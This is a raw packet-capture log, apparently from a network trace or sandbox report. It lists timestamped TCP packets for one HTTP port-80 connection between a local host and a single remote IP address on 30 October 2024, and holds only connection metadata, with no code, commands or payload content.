Oct 30, 2024 21:55:21.925482988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.926040888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.926054001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.926065922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.926122904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.969146013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.969382048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.969394922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.969405890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.969443083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.993508101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.993530989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.993541956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.993566036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.993586063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.993633986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.993850946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.993863106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.993908882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.994237900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.994259119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.994268894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.994302988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.994317055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.994317055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.995497942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.995640039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.995770931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.036628962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.043216944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.043287039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.043298960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.043342113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.043490887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.043504000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.043517113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.043529987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.043570042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.044301987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.044383049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.087488890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.087501049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.087515116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.087594986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.111923933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.111970901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.111980915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.112010956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.112029076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.112034082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.112283945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.112451077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.112467051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.112488985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.112494946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.112500906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.112561941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.113296986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.113316059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.113325119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.113357067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.113409042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.113493919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.155839920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.155864954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.155972958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.161217928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.161501884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.161511898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.161523104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.161534071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.161578894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.161593914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.161838055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.161849022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.161856890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.161868095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.161920071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.161998987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.205492973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.205513954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.205524921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.205586910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.247446060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247458935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247469902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247518063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247518063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.247586012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.247615099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247627974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247649908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247667074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247698069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.247698069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.247733116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247737885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247745991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247749090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.247812986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.279755116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.279768944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.279783010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.279793024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.279840946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.279865980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.280108929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.280122042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.280144930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.280158043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.280164957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.280205965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.282607079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.282619953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.282706022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.324181080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.324193001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.324203968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.324239969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.324290037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.355940104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.355953932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.355966091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.355989933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.356174946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.356188059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.356199980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.356225014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.356241941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.356416941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.356991053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.357040882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.357175112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.357264996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.357278109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.357290983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.357307911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.357323885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.357944965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.397819042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.397866964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.397878885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.397891045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.397923946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.398123026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.398181915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.398294926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.398307085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.398318052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.398340940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.398806095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.398818016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.398829937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.398849964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.398871899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.442239046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.442253113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.442264080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.442298889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.473978996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.474000931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.474010944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.474030972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.474076033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.474225998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.474236965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.474250078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.474308014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.474695921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.474708080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.474720001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.474741936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.474762917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.475193977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.475205898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.475218058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.475229025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.475317001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.475317001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.475924015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.476119995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.476166010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.515912056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.515923977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.515938997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.515979052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.515995026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.516033888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.516323090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.516338110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.516376019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.516379118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.516391039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.516446114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.516972065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.516984940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.516998053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.517010927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.517072916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.517093897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.517751932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.560276031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.560287952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.560298920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.560326099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.560367107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.592166901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.592180014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.592192888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.592205048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.592228889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.592278957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.592592955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.592653990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.592665911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.592696905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.593122959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.593169928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.593183994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.593183994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.593199015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.593245029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.593806028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.593826056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.593873978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.633845091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.633877039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.633900881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.633940935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.633981943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.633992910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.634004116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.634042025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.634603024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.634624958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.634680033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.634711027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.634777069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.634788990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.634802103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.634831905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.634852886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.635540962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.635552883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.635565996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.635576963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.635591030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.635616064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.636511087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.636765003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.636940956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.678683043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.678694963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.678705931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.678718090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.678739071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.678780079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.710110903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710177898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710232973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710247993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710258961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.710325956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.710417032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710529089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710582018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.710649967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710660934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710700035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.710892916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710906029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710917950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710930109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.710952997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.710971117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.711479902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.711551905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.711605072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.751848936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.751859903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.751872063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.751924992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.751938105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.751943111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.751971960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.752325058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.752346992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.752475977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.752484083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.752527952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.752528906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.752542973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.752580881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.752974033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.752993107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.753005028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.753015995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.753027916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.753038883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.753053904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.753906965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.753921986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.753943920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.753954887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.753966093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.753968000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.753984928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.754018068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.796971083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.796982050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.797055960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.828260899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.828274012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.828286886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.828319073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.828469992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.828486919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.828496933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.828528881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.828582048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.828773975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.828788042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.828800917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.828808069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.828856945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.829243898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.829416990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.829468966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.869836092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.869916916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.869934082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.869965076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.870006084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.870018959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.870029926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.870052099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.870064020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:22.870455027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.870560884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:22.870570898 CET	80	49712	185.215.113.16	192.168.2.5
